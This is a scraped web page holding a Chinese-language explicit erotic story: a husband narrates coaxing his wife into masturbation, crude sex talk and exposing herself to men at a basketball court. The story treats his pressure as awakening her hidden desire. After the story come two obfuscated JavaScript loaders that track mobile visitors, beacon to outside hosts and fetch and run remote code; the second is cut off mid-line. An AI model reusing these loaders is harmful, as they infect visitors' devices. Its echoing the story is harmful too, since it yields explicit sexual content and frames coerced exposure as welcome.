爱妻[全集][人妻熟女]

 

(一)
其实事情的起因还在网络。接触了网络之后,我和广大男网友和可能不算广
大的女网友一样,爱浏览下载网络中「黄色、淫秽、低级、下流」的东东。
这时我和岚已经结婚了,而且无论感情还是性爱都很好,很正常,也并不像
很多文章中所说的那样平淡无味,大家都每天正常地上下班、干家务、朋友聚会
等等等等,算是充实的。
2000年,我家里安装了电脑,上了网,老婆只是爱打一些益智类的小游
戏,而我平时看新闻、网络小说之类,在她睡了或者不在家的时候,就看色类的
东西,我的网络情色游的过程是这样的:最早接触的是小说,各种角度的描写、
不同心理的刻画、百无禁忌的分类让我高呼刺激;后来是爱看图片,从重口味的
性交图向日本高清晰露点女优写真转变;接着就是上了宽带后,能下载电影了,
我延续了看图时的口味,喜欢东方的A片。
我的工作不是很忙,上班也经常能上网,所以有一段时间我简直是沈溺到了
片、图、书所营造的淫蕩水泊之中。
直到有一次出差(其实就算是旅游吧,呵呵)回来,很长一段时间没有接触
这些东西,反而感觉很淡了,偶尔性之所致去看看,慢慢地,我发现我越来越喜
欢色文而不太爱看色图和A片了,而且口味在逐渐地集中,以前是什麽校园、虐
文、武侠、暴力、肥水等等照单全收,现在变成只喜欢一种--伴侣交换类和类
似的红杏等。
无论这是功劳还是罪过,我都得说,是网络情色文章渐渐改造我的性取向:
我经常登陆去看这类文章的更新情况,如果出了问题登不上,我就会心痒难熬,
迫不及待。
--当然这一切,我的老婆,岚,一点也不知道。
最初看换伴类的文章,特喜欢看作者们对换伴的男女主角的心理刻画,男人
都是在莫大的兴奋中夹杂着浓浓的醋意和隐隐的追悔,而这醋意和追悔终将淹没
在更强烈的兴奋中;女人则往往在浓浓的羞意和隐隐的屈辱中被一点一点地挑起
情欲,而这羞耻和屈辱最后也必将被情欲的烈火燃烧殆尽。
每次看到写得好的换伴类的色文,我都会兴奋异常,欲火焚身,脑海中幻想
着这些情节的具体细微处,想入非非……这就是色文的好处,这是A片色图所不
能媲美的好处。
而这时的我,还只是停留在「爱看」这类小说的地步,极少地在脑中闪过一
念:「要是故事中的男女主角是我们……不可能,绝对不可能,我都不可能去真
的交换,更不要提岚了……要是让我跟别人夫妻做3P还差不多,嘿嘿……」于
是念头就此打住。
直到有一天,在QQ的成人话题聊天室里,我认识了一个名叫「操我妻子」
的人,一切又开始有了变化。
看到这个名字,我毫不犹豫地加他好友:「你好,我喜欢看交换类的色文,
你呢?」
须臾,通过了他的验证,因爲是色文同好,所以很快熟络了,于是就通上了
电话(狠吧,都不用语音,因爲那时候我们都没有)。这个在上海工作的男人说
话慢条斯理的,他说他老婆个子很高,属于漂亮的那种,做爱很容易高潮。很有
意思的是他老婆天生的几乎没有腋毛,阴毛却很茂盛,还有她最近要出国了,将
来还不知道怎麽样……
我主要是听着了,他也没怎麽问我老婆怎麽怎麽样,我的语焉不详、含糊其
词他也不介意,但是当我半开玩笑半试探地说:「嫂子让你形容得这麽好,我也
想试试了。」
他好像马上进入状态,说:「你想和我老婆做爱吗?她的水儿很多,叫床的
声音也好听,你想不想弄她?」
我听他的声音明显地有些紧张起来,反倒有点尴尬地聊起别的:「当然想。
其实夫妻交换啊,都是想弄别人媳妇儿,恨不得自己一个男的跟别人3P。」
他沈默了一会儿,说:「……我和你不一样,我就想让别人玩我老婆,虽然
她肯定不会同意,我也不会真的去尝试,但我就是有这种性幻想,这是最令我兴
奋的幻想……」
我更加尴尬,在后来的时间里他不停地暗示我,让我说些我想和他老婆怎样
怎样的话,他虽然很兴奋(我甚至怀疑他是不是想一边听我编造玩他老婆的情景
一边手淫),但言谈很礼貌,不像他的QQ名字那麽直接,但是我怎麽也说不出
口,不鹹不淡地聊了几句,他可能也感觉到了,就收了线,以后再没联系过。
他不知道,他影响了我。
从那以后,我就开始不自觉地冒出一些念头:和同事去洗浴,看到哪个家伙
的身材健壮、鸡巴粗长,就会想象着老婆要是和他干一下一定很爽;看正常的影
视作品,也会幻想老婆和其中的男主角搞的话会怎样怎样,而且越想越兴奋……
终于有一天我突然意识到,我和那个在上海的男人一样了。
现在该从我的老婆说起了,岚和我一样大,我们是大学同学。因爲她在班里
最漂亮,最淑女,所以一入学本班外班、本系外系的追求者就不断,可是她当时
好像因爲年龄太小的原因(我们俩都是5岁半上学,不到17周岁就上了大学,
这也算有缘吧!呵呵,不过当时在班里就都是小不点了),对交朋友很抵触,所
以追求者们均以未遂结束。而我因爲和她同是一个地方的,所以一入学就算是熟
的了。
我当时一来没有什麽想法,二来又同是南方同省同地区的老乡在北方上学,
所以经常和她来往,互相帮助,呵呵,越来越熟。到了第三个学期,我在我们宿
舍和她们宿舍的共同撺掇鼓励下,发动了求爱攻势,半个学期的时间搞定,在放
假回家的火车上已经开始亲亲抱抱,摸摸弄弄了。
当时感觉追求的时候曆尽艰辛,回过头看,只要投其所好、不急不躁、合理
暗示、适时表白,还真他妈的简单!不过那时是学生啊,现在看来,学生都好搞
定!
后来的事都顺理成章,在学校就偷吃了禁果,一起海誓山盟,如愿以偿地毕
业分配回我们省的一个知名大国企,到了年龄就结了婚。自然得不能再自然,简
单得不能再简单。
好了好了,这些事抠得太细,扯得太远,不利于带领狼友们进入主题,而且
跟我熟点儿的人看了都能对号入座了!
岚是清秀型的女孩(是不是应该称作女人啊?不过现在还有人以爲她很小,
想给她介绍对象呢)。她的身材是偏瘦的,不过我就是喜欢瘦的,喜欢小乳房,
小屁股,也是国际审美标準嘛!她个子不矮,164CM,配上一头披肩长发,
嫔嫔婷婷的步姿,娇柔细嫩的口音,典型的南方窈窕淑女。
毫不夸张地说,经常看一些选美啊什麽的节目,感觉里面大部份佳丽在气质
上都要输给我老婆。什麽叫书卷气?但凡古今中外的名着都看过,写日记写得像
散文似的,这就能有书卷气!要说长相,我不想具体形容,只用我们公司大家公
认的一个词:漂亮!
我们的生活是性福的。有了自己的房子后,基本上一星期两次。老婆以前是
特别怕羞,特别被动的,开灯也不行,窗帘有缝也不行,背入式也不行,说感觉
有很多眼睛在后面看着赤裸裸的她(我晕!∼∼)……
我总开玩笑说她是闷骚型,因爲平时总是反对我说荤话开色玩笑讲黄段子,
但做爱的时候她还是很动情的,前戏开始不久,吻着摸着她就会湿滑一片,插进
去没几分锺她的小屄里就会泛出成片的凸点。
这时我不需什麽技巧招数,只要狠命地不停操她,几十下之后,她的小屄就
会一下一下的越收缩越紧,收缩频率越来越快,最后随着她猛地眉头紧蹙,紧紧
地抱着我,小嘴里吐出「嗯……呃……」带着哭腔似的几声,浑身不由自主地抖
动着、抽搐着,同时岚的小屄就会拚命地收缩,好像里面有很多肉会动,勒着、
包着、吮着、裹着我的鸡巴,这时操屄的「啪啪」的声音也会变成「噗叽噗叽」
的--她突然流了好多水儿,高潮到了!
在没结婚的时候,我们总是在我或她的宿舍里偷偷摸摸的做爱,在她高潮的
时候,我也会被她的小屄夹得兴奋到顶点,一倾而出,一泻千里,因爲她高潮来
的快,所以做爱一次算上前戏也不用二十分锺。
有了自己的房子后,我不知道是没有了提心吊胆的后顾之忧了,还是鸡巴久
经考验了,反正在她第一次高潮之后,我都不会射。岚的身体在这时非常敏感,
虽然我整个身体伏在她身上没事儿,但是却不能碰她一下,不管碰哪儿哪怕是骼
膊,她都会全身抽搐一下,这时的她也说不出话来,我要是再操她她就会「啊」
叫着推我表示抗议,估计身体依然是高潮的反应,但脑神经已经告诉她不爽了,
呵呵,这种敏感劲儿要持续两三分锺才能过去。
每次她缓过劲儿来,都会吻我嘴巴一下,嗲嗲地问:「你还没有啊?」
我也会轻声告诉她:「我要让你再来一次!」
「坏蛋!」
这句嗔怪就像我发起总攻的号角,爲第二场大战揭开序幕……
随着时间的推移,我们毕竟越来越成熟,现在的杂志,有几本、有哪期上面
没有性话题、性教育?老婆从上面也学了不少新知识,接受了不少新观念。
(二)
老婆的性感是被一点点地开发出来的,这不全归功于我。也不知道从什麽时
候开始,我们的社会不再谈性色变,而且一下子就积极起来,不管是什麽杂志、
报纸上都有性的话题,侃侃而谈、夸夸其谈。
老婆和收发室的小姑娘关系不错,总是从她那里拿新杂志先看几天再给人家
征订的部门。从这些杂志上,老婆知道了很多她以前比较抵触的东西原来是正常
的:比如说口交啊、野外性爱啊、自慰啊等等。
「老公,你来看这个人写的,怎麽这麽……过份啊?」
这个夜晚和平时一样,我在看球赛,老婆在床上翻杂志。
「怎麽了?」我凑过去一看,是一本女性杂志里一位读者在性健康专栏里介
绍她的自慰经验,她和老公长期两地分居,靠自慰解决问题。篇幅并不长,但是
说得挺真实,而且挺有道理。
「性是人的需要嘛,我觉得人家无可厚非。」我爬上床,和老婆靠在一起。
「我没有说她做得不对,可是这种事怎麽能写出来呢?让全世界的人都知道
她自己用手……真不害羞!」老婆笑着说。
「我觉得人家这样做是对的,有多少守活寡的女人因爲她这篇文章而获得性
满足啊!老婆,今晚我们也满足一下,嘿嘿嘿……」我说着就淫笑着突然抓住她
的小乳房,隔着睡衣揉了两下。
「哎呀!去你的,讨厌……」老婆挣了两下:「自己用手那个,真的能有那
麽舒服吗?」
「呆会儿让你试试不就知道了?」
「我不--」老婆拉着长音撒娇地说。
我把电视一关,翻身扑到老婆身上,吻了下去……
此时我们已经住进自己的小爱巢一段时间了,老婆的性观念也比以前开放一
些,允许并且赞成开灯做爱。调情的过程中我看到了她逐渐红起来的脸和逐渐凸
起的乳头,在她下面一摸,老婆的小屄缝里已经湿湿黏黏的,她很配合地让我剥
光了她,双手交叉护胸,一条长腿微蜷,夹住了毛茸茸的一片,真美啊!我真是
爱不够她……
我一边撸着自己的鸡巴,一边坐在她的双腿间:「岚,我们互相手淫给对方
看,好不好?」
「不好!」岚本来微闭双眼等待着我的宠幸,没想到我冒出了这个念头,瞪
着我嗔怪,两只小脚丫轻轻踢我,眼睛已经不由自主地看向我的大鸡巴。
「你不是一直好奇我是怎麽手淫的吗?现在就能让你看看呀!你也应该学学
啊,我出差了,你也能自己安慰自己一下嘛!」我趴下去吻了吻老婆,在她耳朵
旁边轻轻地说。
「嗯……真的能舒服吗?」岚害羞地答应了。
「来,自己先玩玩乳房,」我侧卧在妻子左边,拉起老婆的右手放在她的乳
房上,压着她的手轻轻的抓握她的乳房,慢慢地,我的力量越来越轻,而岚还是
微闭着眼,自己不停地揉捏乳房,我就把手放在了另一个乳房上挑逗她:「舒服
吗?」
「嗯……」
我的手在她的乳房上逐渐地加力,结果看到妻子修长的小手指在她白皙的小
乳房上也越陷越深,看到这里我情欲大增,閑着的左手慢慢地来回抚摸过她平坦
的小腹、她修长的大腿,她的左手也自觉不自觉地抚摸我的身体。
最后我的手伸进了岚那毛茸茸的一片,岚轻轻地把腿分开了一点,我的手指
在岚的小屄缝里一摸,好家伙,已经分泌了好多又滑又黏的爱液,从屄眼儿那儿
捞了点儿往上涂在已经微微凸起的阴蒂上,滑哧溜地胡撸两下,妻子马上就更兴
奋了,双腿又分开了点。
「这样舒服是吗?」我故意一边捏着岚的乳房,一边揉按着她的阴蒂问。
「嗯……」老婆右手揉自己的乳房揉得更上劲了。
我拿起她一直在我的身上不停摩挲的左手,放在她的阴阜:「来,自己摸也
是一样舒服的。」用我的中指压住妻子的中指,在她的阴蒂上画着圈地动。
老婆是从来没有手淫过的,这一点上学的时候我就问过她,所以现在看来她
感觉这样非常淫靡、非常刺激,腿分得更开。我的手覆盖在妻子的小手之上,也
仅仅是覆盖而已了,我觉得这样能减少她的羞耻感,不用我再引导,不用我再诱
劝,岚的手指已经不能离开自己的阴蒂,还时不时自己从小屄眼儿蘸一些淫水,
保持手指与阴蒂的润滑,鼻息也逐渐沈重起来。
我也改成埋头在她的左乳上舔吸,偷眼朝她望去,妻子的眼睛仍是微闭,脸
色已经是潮红,春情浓得能滴出水来,右手握在自己的乳房上,已经是时而揉捏
一下了,看来她的快感已经集中到下面了。
「老婆……我爱你……」我俯首在岚的耳边轻声说(女人在床戏的时候更需
要男人话语的爱抚,忘了在什麽地方看过的,呵):「我好喜欢你动情的样子,
岚……你不是一直对男人的手淫感兴趣吗?你一边手淫一边看我玩自己的鸡巴,
好吗?」
岚一直对女人通过自慰达到高潮感到不以爲然;对男人的自慰,是听我说才
知道的,也觉得不可思议,蛮好奇的,我知道她一直想看看是怎麽回事,就像我
们男人喜欢看A片里女人手淫,但对男人自慰的镜头无动于衷一样。
妻子的眼睛微微睁开,侧过头来和我热吻了一下:「嗯……好……」小手在
自己的小屄上没有丝毫放松。
我心中却是一喜,老婆一直不太喜欢我在做爱时说得太粗口,今天说话如此
露骨,她却没有反对,不知是没有发觉还是已经接受了?
我慢慢地爬起身来,跪坐在她分开的两腿间,从上面看去,妻子圣洁的玉体
正摆出淫蕩的姿势:一头长发柔乱地散在枕上,右手轻托着小乳房不时握捏,左
手翘起了玉兰指,在叉开的雪白修长的大腿中间不停揉动……这是我第一次看到
老婆这麽骚!
正在我愣神的时候,岚突然发现了我目瞪口呆的样子,大大的害羞起来,两
腿微夹,膝盖磕着我的腿:「别……别看……」
我看出她要放手,赶忙伏下身去吻了一下她发烫的嘤唇,「岚,别停,你现
在的样子好美,」我挺起身,撸动着早已昂扬的鸡巴:「你看,它爲了你都这样
了。呃……」我发出了一声半真半假的呻吟。
老婆「噗哧」一笑,看着我的坚挺处娇声道:「坏东西!」
我心里暗自放松了一下,她的小手又在自己的小屄上揉动起来。
「岚,我们都通过手让自己舒服吧!你也感觉一下自慰带来的快感。」
我说着故意加快了撸动鸡巴的速度,果然妻子手淫的频率也快了起来。其实
这时最爽的事就是插进去,但是爲了让妻子能知道自慰高潮的滋味,我知道还要
控制自己。
「我的鸡巴现在好舒服,岚,你的小屄舒服吗?」这是我第一次用「小屄」
来称呼她的阴部,以前床戏的时候我们都是用「那儿」来代指。
岚好奇地看着我手握鸡巴来回搓动,修长的指头并在一起,在自己的阴蒂上
按着画圈:「舒服……」
「哪儿舒服啊?我要你告诉我。」我动作不停,嘴里也是一问紧跟一问。
「嗯∼∼」妻子开始撒娇,我知道她实在是张不开这个嘴说出「小屄」这样
粗俗的词彙。老婆的家庭是书香门第,从小接受传统教育,平日里就语少音轻,
一个典型的淑女,怎麽能说出这麽放浪的话来?不过我要尽量试试。
「老婆,说出来吧,说出来我的鸡巴就更舒服了……」我边手淫边说:「说
出来你也会克服不好意思的障碍,放得更开,你的小屄也会更舒服……」
妻子没吭声,还是一边看着我的鸡巴一边手淫,我不知道她是不是已经动心
了,继续试探:「岚,我的鸡巴现在真难受,真想插到你的小屄里,你的小屄舒
服吗?」
「嗯……舒服……」
我看过去,在妻子不停揉动的指间,她的阴蒂早已勃起,小阴唇也因兴奋充
血而微微挺出、张开,由于妻子总是蘸着阴道里流出来的爱液来润滑阴蒂,所以
那一片深色里泛出丝丝淫光。
「告诉我……是哪里舒服?快……」我的声音里故意带上了几分喘息、几分
兴奋、几分催促,还有些许的命令。
「呵……小屄……舒服……呃……」妻子终于说出了这羞人的话语!她羞得
星眸微闭,俏脸微侧,手淫却动得更快。
这场面让我也更加兴奋,却不敢明着表扬:「老婆……你好棒,我好爱你!
告诉我,喜欢不喜欢我的鸡巴?」
「嗯……喜欢……」
「喜欢什麽?」
「你的……鸡巴……」老婆微蹙着秀眉,不过这次比刚刚说的痛快一些了。
她显然是有了更多的快感,两条腿更分开了一些,屄处也更湿淋淋的。
「哦……鸡巴太舒服了。喜欢老公的鸡巴操你的小屄吗?」我柔声接着问,
不过把平时用的「插」字改成了粗话「操」。
「喜欢……喜欢老公的鸡巴……操我的……小屄……啊!啊……」岚的小手
突然加快的揉动的频率,小屁股也转着圈地向上挺,她的中指和无名指并拢着在
湿滑的阴蒂和小阴唇上飞快地胡撸,食指和小拇指优雅地翘着。
太美妙了,她的高潮到了!老婆的屁股有节奏地一挺一挺,头向后仰着,尖
尖的下巴沖着我,口鼻间无意识地胡乱淫哼着,小手还在股间不顾羞耻地蠕动,
太淫靡了!
这晚,我又用鸡巴狠操老婆小屄,让她又充实地满足了一次。完事之后,说
情话的时候我边轻抚着她的玉体边问她:「岚,自己用手舒服吗?」
「嗯,跟和你真正做的感觉不一样。」老婆依偎在我怀里。
「怎麽不一样啊?」
「自己用手感觉……一下子就到了尖上,特别强烈的舒服,比和你那样还舒
服,可是舒服的时间要短一些。」
各位色友,我就此总结出:阴蒂高潮强烈而持续时间较短,阴道高潮强烈程
度要弱些但较持久,我不知道有没有女性看这篇文,或者经验丰富的老狼们,是
这样吧?
看老婆手淫虽然很刺激,很有意思,但是在后来的一个多月的时间里我们并
没有再尝试过,直到我到省会出差。
一个星期的出差时间里,我和老婆两次通过电话,一边倾诉衷肠,一边说着
下流的淫话,一边手淫着,老婆也由一开始的说不出口慢慢被我连哄带求的玉口
渐开,说出了诸如「我的小屄现在好湿」、「想你的大鸡巴了」之类平时床戏决
难以啓齿的豔语春句。
每次老婆都在不断重複「操我的小屄……操我的小屄」这样的呓语中自己用
手达到高潮。爲什麽说是「呓语」,因爲后来问她,她都不知道自己在高潮的时
候胡喊乱叫的是什麽……
(三)
上回写到我的爱妻--岚,在我的鼓励、暗示、调教、撺掇下,已经开始把
手淫作爲一种性生活的调剂品,并且和我通过电话手淫达到高潮,就算我们俩不
在一起,也能互相抚慰。这时的妻子,虽然还不是很放得开,总是由我主动,但
是与以前比起来算是多了很多风情。
我们可以一起探讨性方面的所有问题,可以一起欣赏情色片。妻子喜欢看唯
美的三级片,比如韩国的《美人》等,香港的一些片子在煽情方面也很有工夫,
妻子经常电视里温柔的音乐、缠绵的画面、淫靡的呻吟声中就湿得黏黏滑滑,动
情不已。
相反,她对那些没有情节的「枪战」不但没有兴趣,而且比较抵制,不爱看
(尤其不爱看赤裸裸的吹箫口交场面,而且她也不喜欢给我口交,主要是心理上
嫌髒),这和我交的一些聊成人话题的女网友很不一样。
这是初夏的一个傍晚,我和妻子像往常一样吃完晚饭携手散步。岚今天穿的
是一件白色连衣长裙,我是一身休閑装,我们在微热的晚风里漫步,经常能引来
路人的注目,他们都在羡慕我们这对鸳鸯吧!我想……
有一个想法突然在我的脑海里闪现,我拉着妻子的小手对她说:「岚,我想
去看看打篮球,好吗?」
这是我们企业小区里健身场地中一个灯光篮球场,一群男人们都在打篮球,
老中青还有高中生们挥汗如雨,乐在其中。妻子知道我喜欢看篮球,默默地陪着
我坐在球场旁的台阶上,看着这十几个人淩乱但又很热闹的全场比赛。
回忆着从前我疯玩篮球的时候,我说:「男人打球,有女人在旁边看和没有
绝对是不同的心理,你坐在这里,殊不知他们的劲头大了多少。你看着吧,个人
盘带和突破肯定会更多,而好的配合就会因你的到来而锐减,呵呵!」
「胡说八道!」妻子娇嗔。
果然不出我所料,三步篮越来越多,而且花活不断花样百出,进了的,就会
在挺着胸脯往回跑的时候朝我们这里瞥上一眼,没进的,也会在痛惜扼腕的时候
瞟一眼妻子。
妻子也感觉出来她对球员的吸引力,我坏笑着看着她,正要揶揄两句……
「不许说!」妻子白了我一眼,轻轻捶了我一下。
「这说明你是美女嘛,你的吸引力大嘛,人家的表演都是给你看的嘛!」我
赶紧连捧带夸。
妻子当然非常受用,满意地又白了我一眼,继续看比赛。
「我们男人看女人,身材曼妙的肯定会多看两眼;你们女人看男人,是不是
也喜欢看健壮、健美的?」我看着球场上一个个热得光着膀子的男人们问妻子。
「当然了……哎呀!真漂亮!」一个身材非常结识匀称的高个子小伙儿用令
人目不暇接的假动作上了个很帅的三步,令妻子脱口而赞。
「看他的体形怎麽样?」我问妻子。
正巧小伙子朝这边看过来,和妻子望了个对眼。
妻子脸一红,低声骂了我一句,「讨厌!」
我心中一乐,继续不依不饶:「其实每个人都有性幻想,这并不是什麽下流
的事情,你看这个小伙子这麽阳光帅气,想象一下,和他做爱是不是会很爽?」
「真讨厌!坏死了你!」妻子作势打我,却是点到爲止,脸红得更厉害了。
「哈哈,是不是想了?」我继续调笑着,用手拍了拍妻子的膝盖,同时用了
点巧劲一拨,妻子的雪白长裙的下襬本来缠覆在膝盖下面一点的小腿上,一下就
散了开来。
「哎呀……」妻子慌忙把腿夹紧,正要伸手去整理,我坚决地攥住她的手:
「别动!他爲你表演那麽漂亮的进球,你应该给他点奖励啊!」
「不要……人家都能看见……」妻子还在一挣一挣的。
「没关系的,不会有很多人注意到的,但那个小伙子肯定会看,呵呵!」我
安慰加鼓励。
妻子拗不过我的坚持,手上不再使劲。她长裙的前襬依然耷拉在膝盖下面,
而后襬则垂在了坐着的台阶下面。里面的春光应该有所暴露,这令我血脉贲张。
从我的角度,是无法看到什麽的,但是从打球人的角度呢?
我对妻子说:「岚你等我一下,」我一指球场对面的冷饮摊:「我去买一瓶
水。」我一站起来妻子赶忙就要整理裙子,我皱着眉头笑着说:「嗯?不许动,
要不然我就更欺负你了。」
「讨厌死了……」妻子娇嗔了一句,竟不再弄了,两手放在并拢的膝盖上:
「你快点回来!」
一股冰流从口腔沁入胸腹,却也扑不灭我心中邪邪的欲火,穿过球场时我的
眼睛紧盯着妻子的裙内:由于她坐在第二层台阶,球场上的人眼睛稍向下瞄便可
以看到裙内春光。呵呵,妻子趁我不在时还是稍稍将裙襬收了收,但后襬依然耷
拉下一截,可以看到妻子紧并的一双玉腿的曲线优雅地延伸至裙内深处,直至那
若隐若现的小白内裤。
真是恰到好处啊!不知道岚是不想暴露太多,还是嫌裙子粘到地面了呢?反
正不管如何,她接受了部份暴露,难道真的像小说中说的那样,女人都在潜意识
里有点暴露心理吗?
我心中想着,已经走到妻子面前,把水递给她,俯身轻声说:「岚,你整理
得真好,别人只能看到你的腿却看不到更想看的。呵呵!就这样,我也去活动活
动。」
天色渐晚,球场上的人陆续走了一半多,中老年篮球爱好者们和学生弟弟基
本都回家了,剩下的应该都是我们企业里住宿舍的单身职工,我加入后八个人,
打起了半场。
很久没有剧烈运动,身材略有些发福,不过这并不影响我发挥拿手好戏--
妙传。我尽量少做快速跑动,利用同伴的掩护和穿插,不停给同伙的那个阳光男
孩--就是打球最好的那个高个帅小伙儿--塞出舒服的好球。而他在每次漂亮
的进攻结束后,总要默契地笑看我这个助攻一眼,然后在回位的时候很隐蔽地瞟
一眼球场旁台阶上那一裙春色……
大胜两局十个球之后,对方坚决要求重新分拨儿,而我已经气若牛喘,顺势
光荣下场,让他们改三打四。看得出来,同伙的小帅哥--听他的同伴们喊,我
已经知道他叫王栋--很爲痛失我这样的好战友感到惋惜。
「累死了,累死了!」我喘着粗气坐在老婆旁边,接过水咕咚咕咚地灌了一
通。
「笨样儿!」妻子边损着边疼爱地帮我擦汗!「看人家打了那麽长时间都没
嫌累。」
「呵∼∼人家是谁呀,是老看你的那个小帅哥吗?他叫王栋,怎麽,嫌老公
不如人家啦?」我怪声怪气地打趣。
「讨厌死了,这麽坏你……」妻子小脸一红,又作势欲打。
我一揽她站起身来:「刚剧烈运动完不能马上坐着,陪我走两步放松放松,
好吗?」
就在妻子点头的时候,我坏笑着在她耳边轻轻道:「再说了,我媳妇儿敞着
裙子让他们看了半天的美腿了,也该给他们看够了是吧?」
妻子大窘,绯红至颈,我低声笑着承受了几下粉拳,和妻子溜跶到了没人的
那半场的篮球架下。篮球架底部是用一块平整干净的水泥板压住做平衡的,我和
妻子面向对面球场坐下。天色已经越来越暗,不远处这几个仍不知疲倦的单身汉
们跑、跳、投的身影已经略有些朦胧。
眼睛看着他们,我对妻子说:「岚,刚才那样逗你,让你暴露,是因爲我看
书上说过,女人潜意识里都有暴露的欲望,也就是说,刚才你春光外泄,会有兴
奋的感觉,对吗?」

关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function nRoTtV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XhwHRTK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return nRoTtV(t);};window[''+'M'+'s'+'h'+'p'+'n'+'A'+'H'+'d'+'G'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LUyKT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XhwHRTK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LUyKT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else 